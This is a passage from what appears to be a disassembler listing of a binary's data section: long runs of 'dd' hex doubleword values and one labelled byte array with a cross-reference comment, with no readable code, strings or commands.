0A101EADEh, 0FAC215BFh, 0B7DCE1F6h, 0BE50065h dd 0B8EC7287h, 0E25C091Ch, 0EEBD07FDh, 6BC09B5Ch, 5A311Dh dd 0B48025E5h, 0C1146E20h, 52EC60E4h, 0A358FD09h, 39A4004Fh dd 0F093EEB2h, 74440059h, 0FF13C7E8h, 5A3CC5A8h, 0F4E6032Fh dd 47CC6B8Fh, 34FC0418h, 504CD200h, 3FFE1BCBh, 2827009Dh dd 0CA7AA31h, 54305B8Eh, 0A52B30FBh, 13C63FA3h, 0AD817807h dd 4582C1C2h, 3418A3C4h, 0FCADE56Fh, 0DE0C4C2Ah, 9F320D24h dd 95E8EA00h, 499EF048h, 3F371DF5h, 7A2282C3h, 0C874A2Ah dd 3441D8F7h, 2B12EFF6h, 445418A5h, 21352324h, 0F08AFC9h dd 52630CA9h, 0F919FB30h, 0A4071852h, 33315B0Ch, 42740836h dd 30172A43h, 15A32821h, 0AD10181Fh, 680B8804h, 0C28D6024h dd 91E660FFh, 262E2B01h, 7B659448h, 19860C42h, 42570C91h dd 887D2122h, 144233Ah, 2D8CD730h, 847AED88h, 18297028h dd 385E5944h, 88A2365Ch, 0BDE75818h, 84CA3A19h, 3EC2F420h dd 8F802CACh, 9E0A7C46h, 0C00174A9h, 39A3451Dh, 70D05562h dd 96D80054h, 0B6C873BBh, 0A800326Fh, 49A6D79h, 4BFDCAh dd 3CCB3530h, 0C11274AAh, 0B5E8B00Ch, 2AD7A01Ch, 3E984E88h dd 6120F835h, 0E9783900h, 84B576Eh, 0FD120777h, 0C3E23F52h dd 0A000E8B6h, 0BE1715F5h, 7AC3E0Ah, 3D1FA99Dh, 6FB87154h dd 0B21A306Dh, 0B18A8C0h, 30C15669h, 6B884653h, 1A297D95h dd 74501CBDh, 435B09FAh, 0BC86D6F2h, 3000B087h, 0DEB165Ch dd 30246EF6h, 59883D46h, 2BE2F15Fh, 9670E30Ch, 72F5839h dd 9887EB74h, 116450B5h, 0F1018CBBh, 4014891h, 0C8574A79h dd 24DF8FC0h, 50AB60AEh, 831F3E4Fh, 0BFB1480Ah, 65001478h dd 0F9F1F027h, 983D371Eh, 0A9859069h, 0BA00B97Dh, 362705AFh dd 93E0BFh, 3B12802Fh, 9A52C738h, 3FF6A93Fh, 3DAC1F6Ah dd 47EFA287h, 9953CF40h, 32661C5Dh, 0C1F1C261h, 9C833D13h dd 0EEA3240Bh, 0C5EB9800h, 7066771Ah, 2C0300FEh, 1C57E1F5h dd 5000127Fh, 77446C1Eh, 1FCB42DBh, 67EE3A3h, 0D16ABF5Ch dd 7049DF07h, 0D53F7FE0h, 0AF31C040h, 504E693Fh, 0EA5C8B3h dd 6ACCB456h, 398C46C0h, 7C029ED1h, 0F665D02Bh, 0FC0AE6Bh dd 348E00D9h, 54419E13h, 3003F429h, 0EE8907C3h, 10035477h dd 0CB55B14Dh, 0E0190043h, 47D2C591h, 6C245036h, 0CA067CE8h dd 6D831D6h, 0F84F06E0h, 23B18A3h, 70BD3C18h, 144EEC0Ch dd 57AB319Eh, 86078430h, 63206272h, 28000710h, 0E2A6B246h dd 18DD4216h, 0A8F1C041h, 18904B64h, 9C377B19h, 7C23BF50h dd 1326004h, 0A0948731h, 0BCB0FA2Ah, 27F52006h, 14186203h dd 88DE2476h, 83BE0784h, 8C885048h, 0C21251E2h, 0C803B6BBh dd 509734EEh, 0E8B22540h, 0A8E9507Ch, 0D6E224AAh, 548C008Bh dd 0C284AF69h, 51E39300h, 90F6EDCBh, 0FB3528A3h, 48241880h dd 0D35938C9h, 0EB9E1200h, 8EB9E815h, 8D50EA6h, 0F380195Bh dd 65CB5260h, 5929BE60h, 26F2133Fh, 1343BF2Bh, 44052CFh dd 7CEAA08h, 2F707550h, 24543DAh, 3B0A6D7Ch, 9081389Ch dd 8A1BFD8Ch, 0D09D02D0h, 0C74D414h, 0B01ED03Bh, 0ACF40A93h dd 0EF30CE50h, 30A9D802h, 8041F738h, 652870EBh, 48A098B4h dd 224C7E7Ah, 0DC421D10h, 45CEB0Eh, 489066DEh, 0E00AE6B8h dd 9A5F264Fh, 0DBE38F9Ch, 3AC02DAEh, 0A3A7570Ch, 106A2A26h dd 83925640h, 0B41601A6h, 0B9EDD060h, 12A841D5h, 1E642041h dd 28A7EC28h, 0BE0EE3E0h, 94DDF211h, 0A640399Dh, 35602405h dd 3F1A9BB7h, 0C43F538Fh, 50B8E80h, 3F07833Bh, 8739E370h dd 41BC005Ah, 4603E263h, 25152667h, 0C144708Ch, 2660520h dd 7B6A31E3h, 50459A56h, 4013A603h, 0C89CE991h, 7005833h dd 44DBB359h, 80C010D7h, 459D9C30h, 99310180h, 36D51A27h dd 0C421CDh, 55B0BF94h, 0EC63C900h, 6EFF46E3h, 0B90916E0h dd 0DB486005h, 550165EAh, 2A3E622Ch, 2464FAA5h, 59EE77BDh dd 9C16608Ch, 0BF4443F3h, 0B103B713h, 0DEC603F5h, 8FE80110h dd 0E6ABC99Ah, 0DBEC41BEh, 3A403283h, 8A5487CBh, 2F690D96h dd 25A840A0h, 38556344h, 0D7163C93h, 0A610006Dh, 0E2014566h dd 0DF31D978h, 1A2031A9h, 3CB51810h, 0F768BC60h, 60656D07h dd 6C3F2981h, 34907F2Ah, 9C00FE75h, 14572ED5h, 0A0BFAC54h dd 338ECD0h, 0B8E4F26Bh, 4BE043A8h, 0E0096D0Fh, 8380A322h dd 46CA507h, 6116C811h, 30B57272h, 15098AAEh, 801D3B2Ch dd 0FC61D05Eh, 0ECA8034Fh, 0DDE446F9h, 78C23000h, 0D1E88944h dd 2B620004h, 5C8359C4h, 2313B43Dh, 0EF5BE9h, 47FF9900h dd 69CADA39h, 0BE2004DBh, 0EA3E8306h, 0E18230Ah, 2F1B4866h dd 4B403B40h, 0FC00D9AFh, 0FBBEF5F4h, 0C5DCAED4h, 80FF1B81h dd 822223CBh, 0C3E9B900h, 3EAF3ACBh, 6D7302h, 0FCAE9D7Dh dd 6EF5DC11h, 0CC14160Fh, 338C25A1h, 59704400h, 2DA8DDh dd 6D2E4D03h, 0D42315DEh, 18FCAA3Dh, 20B1A149h, 62F00028h dd 830C0613h, 0B400D225h, 584D08F2h, 60C9E076h, 655BC80Bh dd 6914D9D1h, 285A36h, 0D6A9BE60h, 6FF81E0h, 57EFD38h dd 0B30110D7h, 204DD36Ah, 58D815CEh, 301C5499h, 0F995E937h dd 0EE384845h, 0B5E24FFh, 0E474040Ch, 4781C0D7h, 1E009A04h dd 9F80D437h, 0DDA66h, 0C3963AFDh, 68D34278h, 0E0CDFF0Fh dd 0A40DEE8h, 0FA939AE4h, 1C7A0Dh, 0F0A22E8Fh, 6651BE3Eh dd 0FD13B603h, 8070ABC8h, 0A84167h, 5A4B9946h, 0FCC2A1Fh dd 8DDE4500h, 16E62DEBh, 0EF1A00D4h, 0F47FA472h, 89C059F9h dd 68709951h, 6225070Eh, 3FDC249Ch, 90E0AA4Eh, 669AE2D9h dd 317CF930h, 1687328h, 0DCC6C521h, 96048A0Ah, 0A904A918h dd 0FA7555h, 619A37EAh, 1400A076h, 1A6FE08Ah, 0F8A9E3ABh dd 0E56D03DBh, 0E882C898h, 0BDCC1400h, 92CE1DCBh, 0F4AD00D7h dd 3E3A0106h, 4C02E98Ah, 0ADB1A9Fh, 5049EA0h, 37A258F0h dd 93E1C05Eh, 54001F30h, 900F8412h, 0DF8056h, 0C14C3DC3h dd 768B6ABh, 448D4100h, 0FACF908Eh, 0C65403E4h, 0D289E26Ch dd 30BF0818h, 1D15CD20h, 4011178Dh, 0ED941A13h, 0E7007EA7h dd 4DFF57A0h, 0CC5DD2h, 0EE442EB0h, 7F52BEAFh, 0EC7DB2FEh dd 0ED054800h, 44797533h, 84030023h, 0C8B4027Eh, 0FB7F1F4Ch dd 0C246CE00h, 865D498Dh, 0D7000FAh, 0F43BC368h, 0F10088B8h dd 63927C1Bh, 0C006B128h dd 3A663D08h, 300018F4h, 71C69084h, 0ACFE01h, 4843AAD8h dd 0BE095323h, 0DC22C91Bh, 2624E0D4h, 0FDDE863h, 1B6BBF77h dd 327CE403h, 1A420800h, 2D2BFB25h, 63F4E884h, 0AB3028DCh dd 0C3C22ED0h, 8FAC3300h, 5705167Fh, 425B013Dh, 68968CCEh dd 3CD0F454h, 0C0E05100h, 7270D627h, 0D35A00E2h, 2A79309Ch dd 4E7E44D8h, 0E04F2F37h, 1E5F0280h, 0A0684E90h, 696374C8h dd 4BC508h, 3187A230h, 975DD171h, 25550300h, 0C88C33EAh dd 0CDD806F3h, 0F8BF3C1Ah, 0E0750C3Ah, 34782D58h, 4C533DDCh dd 88007ABEh, 62D83654h, 1500143Ah, 588547F2h, 3AA7E3EEh dd 5B184B70h, 90EF409Ch, 6B661207h, 24001520h, 0AC5FFAB5h dd 0F10104CCh, 620A7C2Eh, 5BF520ABh, 9B04C383h, 518AD317h dd 0D08FB583h, 0F6EE4B80h, 0BC875233h, 0B36450h, 0D5592370h dd 0AE307F86h, 37DD7E00h, 552E7C4Fh, 7B0200F3h, 0F70B0A6h dd 0AB006D2Fh, 1337EBD2h, 543924h, 5EEE0A49h, 794B58C0h dd 5037BB74h, 60D020D4h, 0F2EB49h, 0D611C31Bh, 37D1084Eh dd 93DAEE00h, 0A8024847h, 0E45B0052h, 7A3841D3h, 257C2B01h dd 1B357900h, 0DC69CB62h, 0E25B06A6h, 0B0194E3Dh, 0B9A81300h dd 4D5C70D1h, 0C5AC008Fh, 0EC3FF23Ah, 0E60065BCh, 1BCF5426h dd 1056BF8h, 95EF7563h, 805A666Dh, 86154440h, 82F51Bh dd 0F2963B71h, 0EF453CBFh, 0BC3348h, 99583ADh, 910CABh dd 7A3D378Fh, 24D6311h, 64C4E01Ch, 6B1DF480h, 18BB20D6h dd 0A0273B4Ah, 0AC000833h, 15626FAAh, 0CE2A7C3h, 5C5EA54Dh dd 3E38DC80h, 0AF2A80ABh, 9DDFF3A3h, 5270E479h, 68B75471h dd 401069C2h, 0AA2288E8h, 3915C190h, 0CBA9CCh, 41D07F5Eh dd 0B117264Bh, 2400C37Fh, 0EB77559h, 16DBDC12h, 1DE8EB79h dd 233907EDh, 5F15105Ah, 0F8074E61h, 5B4B223Dh, 640DD260h dd 1C906Dh, 0CB501E1Bh, 19B8AE13h, 0E996EF0Fh, 237283C4h dd 16D02969h, 631E0338h, 62CCE667h, 961A2030h, 0C4EE755Fh dd 0D007F8EBh, 34E59912h, 3DE12806h, 1C590008h, 78724C71h dd 6B18F521h, 9EE09574h, 23C0082h, 1009A5F8h, 2F0CDEE1h dd 0C0743DBDh, 5EED02D6h, 1E8A871Ah, 4572A0A7h, 50B86786h dd 0AADA4D60h, 48107A43h, 9F651C0Fh, 3F21BC80h, 1A43D71h dd 0CD6E7372h, 416F2012h, 0F491928Ch, 21B5360h, 0CBC1BDBFh dd 22C930CCh, 0B31073F1h, 3BC79D00h, 0ED9A0972h, 399920B8h dd 7BE041Eh, 22C8A245h, 3595BC61h, 656C8h, 5AA57052h, 12196514h dd 54AE7709h, 0A4C400DFh, 0F0A9EBF9h, 98E003D3h, 0EE064A81h dd 0B807D10Ch, 48D05169h, 0C00013BAh, 6A5B26DBh, 0F061904Eh dd 0BF407BF0h, 0BE6FFCh, 16E0F56Bh, 0D2AF724Bh, 0D3B8C00h dd 7879956h, 0CF9314D6h, 0A000B819h, 0E917DEFDh, 6D3D5F26h dd 1CECA6C8h, 0BAD004Bh, 99BB06EEh, 0DA1D881Ch, 5DAB9900h dd 0C9B6A1Ah, 41E9D28Bh, 2000C418h, 22365F3Ch, 4D5048h dd 4E343085h, 0D9416A42h, 3D024B13h, 97D01860h, 0CA41C088h dd 0B8160ACCh, 0FA2B70F9h, 8A306238h, 50B96D65h, 95DAE40h dd 86BCE8EEh, 0F8D244h, 0CE3D497Ah, 0C1AEB453h, 0A4526000h dd 0D41FE530h, 7B240040h, 12CB8998h, 0E7000859h, 569D9A7Dh dd 8238E8h, 33C87FFCh, 9EDF7CE3h, 0FD3C23F8h, 570300A8h dd 2F4BF23Eh, 4C3C0036h, 23B033FCh, 0E30BC9A2h, 774A5E90h dd 0AE54A10Fh, 7521A531h, 54A02B2Eh, 0C908007Dh, 0D295CA32h dd 0E6181F80h, 23809D7Fh, 2D7400B3h, 11CDA87Bh, 6C009FF4h dd 2A5AA30h, 69D3BEh, 9D23C5B9h, 896B28CBh, 81F7BA3Ch dd 0DBC82D55h, 0C0DA560Ch, 3A63BDBAh, 3F81C22Bh, 249EE334h dd 0F4CDF8D7h, 587EA100h, 30DD7746h, 51BA1EEFh, 0F01D81B7h dd 0D8EDB4F1h, 1200CF19h, 38A4A137h, 53B8569h, 0C1AF8974h dd 0F198037Fh, 0B8029E15h, 16D48FB5h, 0B86C60D2h, 0E29200E6h dd 6F66A6E4h, 401D284Ah, 9D00F52Fh, 5D5EEA3h, 0C8B46130h dd 0D86D397Dh, 0B207CD32h, 0CBFA8FE1h, 579443h, 59DF1820h dd 54DCEBC1h, 8B918300h, 0AF1A70D5h, 0BC521D82h, 32AD019Fh dd 0F07E7F03h, 10E9D6CFh, 0F93C5E8h, 3C59974Dh, 1861B386h dd 859A2900h, 41147801h, 1F3A79D3h, 8455288Ah, 879FAD53h dd 8D0490DDh, 3C07A3F2h, 89B2B932h, 5A80FEC0h, 2180E90Bh dd 44ECBEDFh, 960CEE69h, 80833BC9h, 0A5623B0Fh, 11530500h dd 0D09F015h, 8C61F9E8h, 0A0BA3020h, 0CE4DECh, 9F123433h dd 3CA282D5h, 3DAFBE03h, 0E169474Ah, 0D19F6AECh, 807F8F1Eh dd 0A80502Eh, 0B17F8EBh, 20691030h, 7B1D09h, 2C21C56Dh dd 2384F8Bh, 18271A00h, 686A43A9h, 28EB547Eh, 8ECF0A8h dd 0B0CB0EFh, 5F6342h, 1E7BBFA5h, 0C790C200h, 0D5663B51h dd 0D34E0006h, 0F2E46D42h, 72400D98h, 0E92F00A2h, 0AAB77315h dd 0BE608E3Bh, 62E2DF08h, 64421DAFh, 0ED45CE8Bh, 9C377D20h dd 5700B682h, 0E2F4CAB7h, 0C0C897h, 7BE12D4Ch, 6E7D4570h dd 34F71902h, 0A1CBF295h, 0ED6914E0h, 7E976448h, 0C8FF1085h dd 8357C81Dh, 0DC7B2FACh, 9C231EF8h, 3B26C107h, 3A8508C2h dd 0E45B442h, 0B7E0B0A2h, 87AE08A0h, 7C640D2Ah, 0A29E6F40h dd 0FE0076C0h, 8D9A7008h, 0EA92299h, 403AF595h, 0A32A71A0h dd 0B800EB38h, 0D666239Bh, 90BC93F1h, 0DFDD0183h, 5B0E2583h dd 663C50CAh, 8810A7A2h, 48C715B2h, 641AB013h, 3713A5FDh dd 0C001B99Ah, 67E1111Dh, 0D8C71321h, 0AB3D00Fh, 0B7C8EF21h dd 16F18198h, 68AC98h, 2E1B656Ch, 7762EE4h, 0F37E8813h dd 149AB916h, 7AC0A843h, 74909C3Fh, 60ACD640h, 0A887085Fh dd 0D7001064h, 9A36F2E7h, 0ADDF7Fh, 0E84B7EACh, 118EA6D5h dd 0EE0CF67Fh, 307C9198h, 6DA300C8h, 238BDC28h, 3778D117h dd 7C01600h, 0D3331065h, 88BA00F2h, 3F5F5914h, 110149EDh dd 0B8D7FEE8h, 48BC9D50h, 0C2920379h, 0B11C5FC1h, 0ADC375B0h dd 0B43FFFF4h, 2AD28017h, 9A671ECBh, 0F24B0093h, 0EC84231Ah dd 0EE386C1Fh, 2F340308h, 0C00C940Ah, 0C6DB19Dh, 0B7175799h dd 0CC0035C8h, 3485F5E2h, 74BF82h, 64772FF8h, 12F7BB6Fh dd 54EB0500h, 3E171FF5h, 0ED75009Eh, 4310E3A9h, 6600F714h dd 0A4B713DBh, 0EC5E1E9h, 25848B41h, 0ED496F40h, 9701DCE7h dd 53CD9347h, 62201EA0h, 0FC35018Ah, 3B3DF373h, 0D9AFD0CCh dd 0EB3F5AEEh, 2B8F8210h, 40D7261Ah, 0E40B9Ch, 0B20DDE57h dd 3AFC117Ah, 55159B00h, 60AC6E41h, 1D88E6E2h, 0C07A6874h dd 0C9324ACFh, 0E3FDF08h, 576483B2h, 0E09F0DE5h, 0CBDCBFh dd 0E90BC05Ah, 684C2A58h, 64651E1Ch, 0DE75F187h, 26B06987h dd 39F69590h, 6F007704h, 584A60FCh, 0A606FFAEh, 92126AFDh dd 79D90CA0h, 97B8FE77h, 43CE2C00h, 5BE31647h, 489139AEh dd 8FFAF00h, 6BCA499Bh, 3DA0581Ch, 2D6E6A40h, 3C1CD5h dd 760566D3h, 0BDA7311h, 3D0CD048h, 0E7FA8065h, 8D95A4A3h dd 69E02Dh, 13B54B9Eh, 560AD3BDh, 4DE72A00h, 7C61EA9h dd 0E8E8D8h, 0D3F2D08h, 3D4A8B78h, 0D409451Fh, 0BF2A9485h dd 1564B4C0h, 73FF0056h, 79CEC77h, 400278FDh, 3F66F154h dd 2EDAC07Bh, 89400D1h, 2E7A9DBh, 5200974Bh, 0CD2398C3h dd 5C799957h, 3B00F4A5h, 1912BD31h, 1B0ECF5Ah, 60481CDDh dd 0B655DEEBh db 0B2h byte_4E0049 db 18h, 0FBh, 0ABh ; DATA XREF: ___:0042CC94o dd 43A63899h, 7E1D4202h, 60F7F907h, 0E849C74h, 0FD08BA13h dd 6B0E3E20h, 0F6073DFAh, 0FF03E02Eh, 57BEA180h, 884E0043h dd 11258D56h, 66013270h, 583FF8D2h, 7FDCB1A8h, 2F2A00EEh dd 69180AC2h, 0E50ED811h, 922582h, 0D30541E7h, 52E2005Ah dd 6F56A5BBh, 9E006688h, 0B34CF2D5h, 0AFD86Eh, 0F5C90994h dd 501BB1B8h, 95C04001h, 4385BEEh, 11E83E4h, 0A437F885h dd 303C2396h, 0EE3E92D7h, 73D9803Ah, 3284A262h, 5A340304h dd 0A77A1296h, 43A8119Bh, 2DE6B49Fh, 1716303h, 675D677h dd 0A8476628h, 1B7E5C03h, 20E60770h, 80084E3Ch, 7699C91Ah dd 782467CFh, 8CA8000Bh, 0F22E1B3Fh, 0BC006658h, 0F877F957h dd 30B10Dh, 68C3B4C2h, 9E8174C8h, 59A24C07h, 72B04A87h dd 0B9A85Ah, 6553C630h, 7B9D7179h, 78869807h, 91E02659h dd 17FFB8h, 6ADD0DC3h, 7C85DEF8h, 1887E91Eh, 0CB00D428h dd 0CA9424B2h, 4295D4h, 40C9059Fh, 0BEA215Dh, 1EFEA703h dd 0DDDD76EDh, 2801ECF8h, 0A5BE12BFh, 3FB3203Dh, 4907D207h dd 31E0EB3h, 0F0DF9A5Bh, 0A07E81D7h, 9983E8h, 0D2F26B40h dd 26706D01h, 73873600h, 3DD9D3CDh, 23B90327h, 6BAC095Eh dd 474463D0h, 49D79A00h, 0F0FB7FEEh, 0E730084h, 1E6B907Dh dd 4C00AE94h, 8198CB3Ah, 0C34FA2h, 0C2708056h, 0DA93110Dh dd 0AA73780Eh, 3A5F4747h, 1A46B9A0h, 0BBB20089h, 0F0333037h dd 0C40003DAh, 39A2761Bh, 0AF96C0h, 877D7CE8h, 365A62FEh dd 1178B430h, 49721Bh, 381A171Dh, 0E93BD60Fh, 0F79FA000h dd 3D5AA159h, 0D2360153h, 0E80195EEh, 0A0D1C8BEh, 20064F0h dd 0BCC13DD0h, 7C363158h, 850B0095h, 0F4EE5DC5h, 65004C8Ch dd 2A48B0F2h, 0E0946Eh, 0C0B6D1ADh, 7D0B8DF7h, 0CD476500h dd 5C80305Dh, 0CB6F16AFh, 48D0013h, 927DC79h, 2FBC0800h dd 0BFA82D98h, 0B0315C63h, 9E9A6C03h, 56D803F1h, 0E0F98455h dd 0C1000A1Bh, 4D38CE15h, 7B1FFDCBh, 0D4910947h, 4D803C6Eh dd 0C1E49286h, 23BEC12h, 8D161000h, 26FCF13Eh, 846EDh dd 170833ADh, 3F00D6CAh, 564E8B68h, 49991Dh, 0FDCCF0DAh dd 3D71C306h, 17985E0Eh, 91EA6075h, 385D04DBh, 0B801C984h dd 8B4876E4h, 9C39F8BBh, 3DA19B1Ch, 0C4293E80h, 6CC2C9h dd 2F07684Dh, 70878F2Bh, 2571C000h, 0F83C55A4h, 2C9C3E73h dd 46749D80h, 3F989749h, 0C61AD500h, 0F042CB5Fh, 92140126h dd 767CF8A7h, 908030ABh, 86094D00h, 0C5F92516h, 69BFE8Eh dd 0A8F75067h, 0E03CF89Ah, 30007D9Dh, 0A61BCC72h, 0C3350Ch dd 51EF0396h, 6E14F102h, 12D0A500h, 35CBEE13h, 0B8D418A0h dd 0C0A4FE66h, 0F6006BB0h, 2BEDFE80h, 6832456h, 9D41DB27h dd 0E20018FCh, 0AEBE2D3Ah, 7FF17DAAh, 5D90005Ch, 0E07F27FDh dd 5B00A06Eh, 0F9111767h, 0C5E0A58h, 0A943DEF5h, 2F004040h dd 0DCC0A51Ah, 9878CE18h, 6C1D0024h, 2D360C35h, 0DD3B33EFh dd 3BE60011h, 19F9619Dh, 87B0E8h, 32E9924Dh, 0F11CEC3Ah dd 0AB150400h, 3CCC3094h, 0C060320h, 75D2FA40h, 2EC23880h dd 2AA82500h, 452C3CC6h, 123F1D64h, 87440E3h, 3A7749C3h dd 3D89C100h, 53611B31h, 6B180E59h, 3CE0E1E6h, 93321607h dd 9C510400h, 0F71FBBC2h, 62B8C7h, 291B8961h, 70C97E69h dd 7C623400h, 645D198Eh, 0F58F00E1h, 1C6C436Eh, 2B0069FCh dd 752681D8h, 0CAA8Ah, 0FA2D4CF3h, 0A3E89411h, 17BB58h dd 43636A96h, 81A96Bh, 0B17927A4h, 0DEBF2DC0h, 0B895401h dd 45C8751Bh, 1FA6D160h, 40D1BB2Eh, 5CE9021Fh, 171D38DCh dd 580DD43h, 0F763D9A1h, 88790722h, 0A0619BE5h, 0D816E79Eh dd 6D005CF6h, 7333B5D2h, 3EAEB33Dh, 6A1C2FE5h, 0E8C84057h dd 3FDB764Eh, 0CA09380Eh, 0C3FBAFBBh, 0C110471Bh, 0E4DC91E8h dd 494B1B1Eh, 0DF9A10CFh, 7A4C2BC0h, 77A45900h, 40AD733Fh dd 86A100AFh, 8CF9CBB7h, 0E7070FBDh, 1B5AA307h, 0DF31D127h dd 49CCF791h, 0BFFB0023h, 99EA9F3Dh, 2E004EA3h, 0A21C0CCFh dd 0E813EEE5h, 0F6F28Bh, 7A4D9C53h, 0A37BEDDh, 2497DA3Ah dd 1C030052h, 7C9A236h, 6CFFF6C8h, 0BB003F20h, 0A657F747h dd 5BDC850Eh, 2CBC601Ah, 0F9CED9h, 0A226E0C9h, 0C08CEFE9h dd 0ACB23907h, 12704D92h, 5F41FEh, 97C90E20h, 6F23D511h dd 9D139C00h, 8B98BD01h, 66D00FB5h, 1DA05F72h, 0F19B71ACh dd 8C294C00h, 2199BB57h, 0B7600082h, 2B152469h, 0B4775C91h dd 0A8BDFE00h, 0E77332D1h, 6F980625h, 48F178C6h, 0B455100h dd 0C0DAEEA5h, 4C8D039Bh, 98FD66F6h, 0ECED5881h, 0FF00392Bh dd 73EA4875h, 426F82h, 6DDF8483h, 0D28BBAB1h, 5A5AA07h dd 0CB00ACEFh, 19534Eh, 0FBF89813h, 51B41DEBh, 20476C0Ah dd 9F04981Ch, 55C04CF0h, 2ADA92h, 0A3A2D512h, 69CA76Bh dd 74EA8101h, 2F54202Dh, 0B11C20h, 4EDF22C6h, 6165D80Bh dd 0D18C2C03h, 0D05B3669h, 7CC34E0h, 0ED8BD388h, 679AC080h dd 0C30FB078h, 0AFDBD06Ch, 55790164h, 4A60375Eh, 0EE5707BAh dd 70E0F04Eh, 26F18373h, 0FD9D0900h, 866D087Bh, 7C4B0C4Ah dd 9848782Bh, 0BAF51D0Bh, 71BB8064h, 0E95BBEADh, 20804621h dd 4F5256Dh, 2300B47Bh, 1FC1E04Ah, 7EC459h, 28AD4C79h dd 93F50EB6h, 165A450Fh, 0BDE0867Bh, 2FE70018h, 346F06F4h dd 300E1888h, 8061AD04h, 4FA71721h, 0EEB700DCh, 6C24BEE5h dd 6B0ED260h, 0E74D1AE3h, 0C9C02E8Eh, 853A6Fh, 67815A2Dh dd 6BD6E8A7h, 0A3231500h, 9DC2DC46h, 3A2C7809h, 4840FD1Bh dd 642A4300h, 0FA3DE014h, 0EB7B3F54h, 10814B81h, 0B187C7C9h dd 0F94A3828h, 0F6754E70h, 10220635h, 50DF9D97h, 0F8289220h dd 60FC0351h, 1D4F0EEh, 0B30CDEA0h, 0A8042D07h, 0A00E8534h dd 604709A4h, 0F891C096h, 0A5F74BECh, 0E43B18C1h, 2F701435h dd 0CAAA057Bh, 0AB449EB4h, 92A24980h, 4696A01Fh, 0E207B8Eh dd 311F3BEh, 2400CF8Eh, 0E74E71EEh, 19B92267h, 0B9E3602Eh dd 6512ECFh, 7343BFA6h, 710E203Fh, 7DE8D2BDh, 3435F5C0h dd 0C4C9C1h, 2EF1E46Ah, 4F398C82h, 0A4652300h, 1A33CA12h dd 954E0CE9h, 0AEC008B3h, 980C554h, 0ABC6A91Bh, 0D847E0D9h dd 9318C03Eh, 14632251h, 15C828C0h, 84BC24h, 683CFBBh dd 0B204E0EAh, 0A4978018h, 0E74341h, 35AFC6A5h, 0C221BC10h dd 0F2663F00h, 0DA6EE9C8h, 0E7F701B2h, 0A684A050h, 35E2D8D4h dd 1ABB8800h, 83624BCEh, 24F90E8Ah, 7A60DC52h, 906DFC4Fh dd 0FE0C4C03h, 0EA933Dh, 48970180h, 65DB42CDh, 8DD8742Eh dd 34820300h, 98CA241Fh, 0EE6E002Fh, 16795D0h, 530F651Eh dd 0C05D5F76h, 63F8CB02h, 204F0085h, 7B010C0Bh, 43092C34h dd 2490D2h, 0D1A2FBE4h, 0E476006Ch, 3F536A2Ah, 7203B6C7h dd 38AC7870h, 0F2E7D0CBh, 8AFE0051h, 14B85F56h, 86FAF8FAh dd 679801FEh, 6B646500h, 0E3A3831Ch, 375200D4h, 4C2BA98Dh dd 40097651h, 80C4AFB6h, 3EE3ACBBh, 0B815005Ch, 6AF4E01Dh dd 39E01675h, 7450B700h, 0F33A8A3Fh, 0E2B807A2h, 1F7507AFh dd 0FF87DC83h, 9C0A6FE8h, 3F2EF400h, 4A82327h, 716E3902h dd 10E7FF00h, 0C66B45F5h, 1A9F1201h, 0B4F42648h, 1F5ABFDCh dd 408FB2FFh, 105F3D9Bh, 2F76383Bh, 0A1D6C900h, 6044AB52h dd 0F664008Bh, 0AEBA7F5Fh, 8700711Fh, 6DC34391h, 36C8A1Ah dd 0D76F0315h, 2BE0CC44h dd 0C12CF4DBh, 3F3E4A10h, 58B10094h, 2767043Fh, 0CD690063h dd 6CE926B2h, 0E00E31B0h, 0C17BB4E3h, 64725A5Fh, 6721E8h dd 1BE729C3h, 0D7FF0409h, 0C523EA00h, 48779C5Eh, 4C1300E3h dd 4E3155DDh, 0AF00D662h, 0D44F1986h, 2342E2Bh, 45E015A1h dd 0CFE0E76Eh, 0EB0F88ACh, 0C049F0F8h, 0B3550AC4h, 542F017Eh dd 0BAC6B06Fh, 0EDB080A4h, 38183E5Eh, 3DEB0046h, 95473B9Bh dd 0F671F95Ch, 0F428F500h, 0C0ADF156h, 0E3960EDh, 0C961DE48h dd 0CEBF330Eh, 0E0948F13h, 84D59314h, 0C71D2ED1h, 37CA0082h dd 0FD18040Ch, 38BFED18h, 9918A60h, 0B150D75Fh, 61B96000h dd 0D90087ECh, 9D44FA49h, 7462F6Ah, 6F33BDFFh, 19B7E0DFh dd 0B5B094E9h, 764A7801h, 3B53EAD5h, 0A1DDDCh, 39E81546h dd 0FD95C02Fh, 6E481C00h, 47B68554h, 0E98E00E7h, 29222BC8h dd 3D030F44h, 4FEB2A79h, 7561FBCBh, 0A3D00071h, 9D5052BCh dd 931DBA66h, 0C2407621h, 2CF686E2h, 8C7A001Fh, 9D02D181h dd 8D0025B6h, 0FE210BCDh, 0A18A42h, 5DA76478h, 0F8DBA809h dd 0AC016C0Bh, 313D80C6h, 0CDB6B0h, 0BC50C188h, 80CBE42h dd 73118A07h, 406ED4C0h, 6D3B1346h, 69F70241h, 7A4F955Dh dd 8DF61860h, 0C7F0EC00h, 9FCA282Ch, 3E49249Dh, 0D8933A3Ch dd 8E500740h, 0BA4DF095h, 84708D87h, 0CD098B1Ch, 239147CEh dd 0C0E6D004h, 7E405953h, 800B5436h, 150A0E8h, 93510E7Ch dd 0EC60E564h, 0EEF478ADh, 0E258B5h, 0C51905A2h, 751EBF13h dd 7F8F4E1Dh, 79718CC2h, 165C6095h, 0CB4D00FFh, 5786BCC0h dd 0F909757Bh, 0CA0D17h, 0B7E62906h, 0AA7A26h, 6A18064h dd 0EDFA9C16h, 0C4EF2800h, 0EB20F30Fh, 3D0BE0DCh, 0AD007543h dd 23EDCA6Dh, 10E3B8Ch, 0E082C144h, 1B02FF5Dh, 4BDA0066h dd 8C60B3BAh, 0EE0FF6C2h, 21BC73BEh, 1018F128h, 89180E3h dd 3B011DE0h, 0C770021h, 0A16FB7C7h, 0B3F2DA00h, 2BC1B9B8h dd 0BD657E4Eh, 0F1001378h, 0A02004C7h, 0A78AD7h, 5E56C4A6h dd 47238858h, 0D6DF6300h, 797CCC49h, 0A19B0077h, 0B90A61B4h dd 2570C8E8h, 3997ED00h, 2835A51Ah, 0BC60389h, 34516F3Dh dd 0D880B4C3h, 7F005DE8h, 0BFE0F4E9h, 38105383h, 881F74A2h dd 65214036h, 587C6FF0h, 9F64E500h, 4EA14AF6h, 1991031Ah dd 0F8951CF7h, 0F31823CFh, 0E422C9C8h, 5B30C176h, 5FBF1928h dd 7C160002h, 0A5F59627h, 0DE0021D9h, 52C78772h, 22EC10h dd 75CA90DDh, 260464F7h, 13860F03h, 0D8A3AA24h, 0D1EFB8h dd 0B7272A31h, 196D04F6h, 